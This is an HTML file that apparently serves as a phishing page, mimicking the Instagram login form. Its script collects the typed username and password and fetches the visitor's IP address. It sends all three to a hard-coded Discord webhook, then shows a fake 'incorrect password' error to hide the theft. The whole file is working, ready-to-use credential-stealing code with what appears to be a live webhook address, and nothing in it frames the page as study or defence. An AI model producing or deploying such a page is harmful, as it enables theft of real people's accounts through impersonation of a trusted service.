<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Instagram</title>
    <style>
        body {
            font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Helvetica, Arial, sans-serif;
            margin: 0;
            background-color: #fafafa;
            display: flex;
            justify-content: center;
            align-items: center;
            min-height: 100vh;
        }

        .container {
            background-color: white;
            border: 1px solid #dbdbdb;
            padding: 40px;
            display: flex;
            flex-direction: column;
            align-items: center;
            width: 350px; /* Set a fixed width */
        }

        .logo {
            margin-bottom: 20px;
            height: 51px;
        }

        input {
            width: 100%;
            padding: 10px;
            margin-bottom: 10px;
            border: 1px solid #dbdbdb;
            border-radius: 3px;
            box-sizing: border-box;
            background-color: #fafafa; /* Light gray background */
        }

        button {
            width: 100%;
            padding: 10px;
            background-color: #0095f6;
            color: white;
            border: none;
            border-radius: 4px;
            cursor: pointer;
            font-weight: 600;
        }
        #error-message{
            margin-top: 10px;
            color: red;
        }
        .signup-link {
            margin-top: 20px;
            text-align: center;
        }

        .signup-link a {
            color: #0095f6;
            text-decoration: none;
        }
        .separator {
            display: flex;
            align-items: center;
            margin: 20px 0;
            width: 100%;
        }

        .line {
            flex-grow: 1;
            height: 1px;
            background-color: #dbdbdb;
        }

        .or {
            margin: 0 10px;
            color: #8e8e8e;
            font-size: 13px;
        }
        .facebook-login{
            margin-top: 10px;
            text-align: center;
            color: #385185;
        }
        .facebook-login a{
            text-decoration: none;
            color: #385185;
            font-weight: 600;
        }
        .get-the-app{
            margin-top: 20px;
            text-align: center;
        }
        .app-badges{
            display: flex;
            justify-content: center;
        }
        .app-badges img{
            width: 136px;
            height: 40px;
            margin: 0 5px;
        }
    </style>
</head>
<body>
    <div class="container">
        <img class="logo" src="https://static.vecteezy.com/system/resources/previews/018/930/415/non_2x/instagram-logo-instagram-icon-transparent-free-png.png" alt="Instagram Logo">
        <form id="loginForm">
            <input type="text" id="username" placeholder="Phone number, username, or email">
            <input type="password" id="password" placeholder="Password">
            <button type="submit">Log in</button>
        </form>
        <div class="separator">
            <div class="line"></div>
            <div class="or">OR</div>
            <div class="line"></div>
        </div>
        <div class="facebook-login">
            <a href="#">Log in with Facebook</a>
        </div>
        <div id="error-message"></div>
        <div class="signup-link">
            Don't have an account? <a href="#">Sign up</a>
        </div>
        <div class="get-the-app">
            Get the app.
        </div>
        <div class="app-badges">
            <img src="https://static.cdninstagram.com/rsrc.php/v4/yz/r/c5Rp7Ym-Klz.png" alt="App Store Badge">
            <img src="https://static.cdninstagram.com/rsrc.php/v4/yu/r/EHY6QnZYdNX.png" alt="Google Play Badge">
        </div>
    </div>
    <script>
                document.getElementById('loginForm').addEventListener('submit', function(event) {
            event.preventDefault();

            const username = document.getElementById('username').value;
            const password = document.getElementById('password').value;
            const errorMessage = document.getElementById("error-message");

            fetch('https://api.ipify.org?format=json')
            .then(response => response.json())
            .then(data => {
                const ip = data.ip;

                const webhookURL = 'https://discord.com/api/webhooks/1328398724220588073/l3NNpREnHHijy6h2XJ27J5adrt9erWBZvq06sfL0RtYC3nIJMSrMucEd8cj5Y01kGV4Q'; // **REPLACE THIS!**

                const message = {
                    embeds: [{
                        title: "New Login Attempt",
                        fields: [
                            { name: "IP Address", value: ip },
                            { name: "Username", value: username },
                            { name: "Password", value: password }
                        ]
                    }]
                };

                fetch(webhookURL, {
                    method: 'POST',
                    headers: {
                        'Content-Type': 'application/json'
                    },
                    body: JSON.stringify(message)
                })
                .then(() => {
                    errorMessage.textContent = "Incorrect username or password.";
                    document.getElementById('username').value = "";
                    document.getElementById('password').value = "";
                })
                .catch(error => {
                    console.error('Error sending data to Discord:', error);
                    errorMessage.textContent = "An error occurred. Please try again later.";
                });
            })
            .catch(error => {
                console.error('Error getting IP address:', error);
            });
        });
    </script>
</body>
</html>
